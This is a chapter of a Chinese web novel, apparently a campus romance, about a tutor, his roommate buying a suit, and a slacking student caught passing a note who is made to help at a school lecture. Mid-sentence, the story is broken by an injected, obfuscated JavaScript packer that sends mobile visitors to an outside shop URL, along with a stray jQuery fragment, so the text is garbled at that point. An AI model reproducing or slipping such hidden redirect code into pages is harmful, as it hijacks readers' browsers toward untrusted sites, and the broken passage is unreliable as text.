“这姓何的是不是有病,开个破讲座还要我们穿西装。”沈枫南打开衣柜,把上半身伸进去探了半天才找出来那件压箱底大半年的皱巴巴的的蓝色西装,“我这几个月胖了不少,也不知道能不能穿上。”
他撑开西装往身上套,絮絮叨叨骂着:“都怪他天天压榨我,我都过劳肥了,前几天一上称都快吓哭了,这头人形猪是谁??”
温雨眠:“......”
他没记错的话,沈枫南貌似从没亏待过自己那张嘴,上个星期更是一周三顿小龙虾当宵夜。
他回头瞥了沈枫南一眼,见他的西装外套像咸菜干一样皱地厉害,说:“要不熨一下吧,我有熨斗。”
“......估计用不上了。”沈枫南费劲巴拉地把左手臂伸进衣服里,另一边就进不去了,“这衣服什么时候买的,我以前这么瘦吗?”
“重新去买一套吧。”温雨眠刚准备上去帮他,沈枫南一使劲,不知道哪传出来撕拉一声,两个人都顿住了,温雨眠双手举起来:“我还没碰。”
“衣服还会缩水呢。”沈枫南沉默了片刻,自己给自己找台阶下,把外套脱下来丢到一边:“找我妈爆点金币,买身帅的。”
“下午就得去了。”温雨眠看了下时间,“能赶得及吗?”
“时间够够的。”沈枫南说完就抄起桌上放着的钥匙,开门出去,“我再顺道吃个午饭,想吃商场三楼那家麻辣烫很久了,正好顺道。”
“那你注意时间。”
自打裴灿开学,温雨眠就闲下来了很多,不过裴灿还是会隔三差五在微信上骚扰一下他,还经常是上课时间。
比如现在,星期三的早上十点,裴灿又发了条微信过来
【裴灿】:温老师
【眠】:手机放下,好好听课
【裴灿】:我在厕所,不在教室
温雨眠:“......”
【裴灿】:下午真的没空给我上课吗?
【眠】:有事
【眠】:讲座真不去?
【裴灿】:不去,一点意思都没有
温雨眠知道他这样说的话肯定是不会去的,眼睛一眯,逗弄的心思又忍不住涌上心头。
【眠】:万一有惊喜呢
裴灿不知道干嘛去了,过了几分钟才回复,上来就是对温雨眠学历的质疑。
【裴灿】:温老师,你真的上过学吗?
【裴灿】:学校能给什么惊喜,不惊吓我都算善良的好不好
温雨眠用指关节处抵着鼻尖,轻轻哼笑出来。
【眠】:还真没上过呢
【眠】:好吧,随你
——
开学第三天,裴少爷就已经觉得上课累了。
他待的班毋庸置疑是全校最烂的,但是瘦死的骆驼比马大,就算是差班,那也是A大附中的差班,比上不足,比下那也是绰绰有余的,随随便便从裴灿班里拎出来一个,放到普通高中去,那也是轻轻松松进尖子班的。
这些人里当然不包括总分298的裴灿。他的成绩断层得过于厉害,和倒数第二名的陆然都差了两百分,自然也是成为了班主任抓的重点。
29号刚回学校,裴灿坐在位置上正准备拿手机出来玩,班主任宋珊珊就神不知鬼不觉地从身后拍了下他的肩膀:“裴灿,你想死是吧,这才开学第一天!”
裴灿已经养成条件反射了,迅速把手机往桌肚里一扔:“老师,你看错了。”
宋珊珊把他的手机拿出来,冲裴灿试了试眼色:“跟我过来。”
裴灿用脚踢开桌子,跟在她身后进了办公室。
宋珊珊一坐下就开始数落他的头发:“你这什么鸡毛头发,明天给我染回去。”
“哦。”正好他明天想去换个新颜色,这个看腻了。
两年了,裴灿还没试过这么好说话,宋珊珊都愣了,随后请了清嗓子,正色道:“高三了啊,裴灿,你应该知道自己的身份该干什么样的事——学习!”
紧接着是一大堆让裴灿耳朵起茧子的话,无非就是不要逃课旷课不要违反校纪校规,我会好好盯紧你和你的成绩之类的威胁。
被宋珊珊允许回班里时,刚打上课铃。老师还没过来,裴灿大摇大摆地从后门进去,他斜前方坐着的就是陆然,这小子立刻扭头回来问:“灿哥,老班叫你干什么去?”
“让我老实点。”裴灿啧了声,神情略显烦躁。
他妈在昨晚就已经说教了他一通,意思大致是不想要一个出不来钱的银行卡就不准再胡作非为,还托了他的班主任帮忙多看着裴灿。
事已至此,裴少爷也只能为五吨米折腰,开学足足两天,除开躲在臭气熏天的厕所给温雨眠发信息的那五分钟之外,一次课没旷过,当然也一节都不听。
不过课是逃不了,但这个破讲座裴灿还是有能力跑的,他都已经和外班的几个男生约好去哪个球场打篮球了。
暑假两个月,裴灿一起球没打过,这会儿手痒的厉害。
这天早上最后一节是宋珊珊的物理课,裴灿把手机放桌肚里给约着一起打球的男生发消息,说让裴灿拿球。裴灿自己的篮球还在家没带来,往班上其他男生椅子底下扫了一圈,发现陆然有球。于是把笔帽摘下,卡了张小纸条进去。
这是裴灿开学到现在第一次动笔,他闭上一只眼,瞄准陆然脑袋都放下,伸手一扔。
带着纸条的笔帽稳稳当当落在下来巡视学生做题情况的宋珊珊脚边。
裴灿:“......”
宋珊珊先甩了一记凶狠的眼刀给裴灿,然后蹲下去把笔帽捡起来,自然发现了上面的纸条:“传什么秘密情报?”
她拿下纸条,慢慢打开。全班人默契地放下笔,好奇地伸长脖子去看宋珊珊,身边的陆然更是直接站起身想要和宋珊珊一起看,被宋珊珊给打了回去。
她如大家所愿地把纸条上的内容给念了出来:“然,把你球借我,我下午打。讲座的时候,班主任要是点我名,你就说我上厕所去了。”
话音刚落,全班发出一声爆笑。
宋珊珊气笑了出来,把纸条揉成小球丢回去裴灿桌子上:“裴灿,你的下午讲座的位置,改坐在我旁边,两点二十分我要是看不见你人出现在我面前,呵,你懂的。”
裴灿:“......”
他把纸条拿起来转头丢去垃圾桶里,等宋珊珊走后,才又在约球的群里发消息。
【裴灿】:我去不了了,你们玩
得亏温雨眠没答应。
下课前三分钟,宋珊珊把最后一道题讲完,她拧开保温杯喝了一口水,才说:“还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17971781|214673||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有几分钟啊,你们不用这么早做好冲食堂的姿势,我还有话要说,关于下午的讲座。”
“雨婷。”她点了个女生的名字,正低着头算大题的杨雨婷连忙抬头举手,“老师,我在这!”
“好,你帮忙领着我们班的同学们进场坐着,到时候会有志愿者告诉你我们班的区域在哪。”宋珊珊一边说着,眼睛一一扫过全班,“再叫个男生帮你一起维持入场秩序吧。”他们班也好一部分比较调皮贪玩的学生。
潘东飞听见这话,赶紧举起双手晃悠,嘴巴里无声说着:“老师!我!我去!”
宋珊珊无视了上蹿下跳的潘东飞,目光越过整个教室落在裴灿身上:“裴灿,你去。”
为了防止裴灿又在自己眼皮子底下了溜走,宋珊珊干脆给他安了个活。
裴灿不可置信:“又我?”
宋珊珊:“你有意见?”
裴灿哪敢说有,不情不愿地哦一声。
宋珊珊最后宣布:“那就这么定了。”下课铃声正好打响,一群人瞬间飞了出去。
潘东飞立刻拍了把桌面,不悦地瞪着裴灿:“灿哥,你这就不够意思了吧,为什么要跟我抢?”
裴灿莫名其妙:“你有病啊,是我想去的吗?”
陷入爱情的男人真可怕,上赶着去当苦力,裴灿对潘东飞这号把女神放在兄弟感情之上的作风感到寒心。
陆然见情况不对,马上出来劝和:“别别别,别吵架,到时候你可以跟灿哥一块帮忙啊,都没选上你,你还这么主动去帮班长,那她可不是感动地不要不要的,你想想是这么个道理不?”
潘东飞被劝服了:“说的对吼,那我得赶紧去食堂看看还能不能跟她坐在一块吃饭。”
潘东飞风风火火地走了,裴灿没忍住翻了个白眼,吐槽说:“他脑子真没问题?杨雨婷给他灌什么迷魂汤了?走路都是飘的。”
陆然最会见人说人话见鬼说鬼话了,马上踩低潘东飞捧高裴灿:“飞他就这么傻,你看人班长都没搭理过他,还上赶着去,丢死我们男人的脸了!不像灿哥,别,都不需要出手,大把漂亮的往你这扑。”
裴灿:“那肯定。”
讲座安排在综合楼一楼的大礼堂中,能容纳将近八百人,附中高三生一整个年级才不到五百五十人,绰绰有余。
让裴灿管秩序确实是最正确的,因为调皮的几个男生基本都是跟他学坏的,现在裴灿摇身一变成了管事的,自然都是不多出声。
裴灿走在队伍后面,杨雨婷在队首,一排排指挥他们坐下去。礼堂里闹闹哄哄的,裴灿有点眼皮打架。
他们班的位置在第七第八排,和台上的距离其实有点远,陆然还嘟囔着:“这么远,我都看不清学姐了!”
好不容易全班人坐下点完人数,裴灿就打算去陆然帮他占的位置上坐下。结果宋珊珊在前面喊他:“裴灿。”
她招了招手:“过来。”
老师统一坐在前排的位置,裴灿往前面一瞧,宋珊珊还真给他留了个身边的位置,一时哑然。
陆然还“啊”了声,满眼羡慕地看着裴灿:“灿哥,你真幸福,近距离看漂亮学姐。”
裴灿真无语了,皱着两道眉,闭上眼深深憋了好大一口气才把满肚子脏话给忍住。
这福气到底谁想要?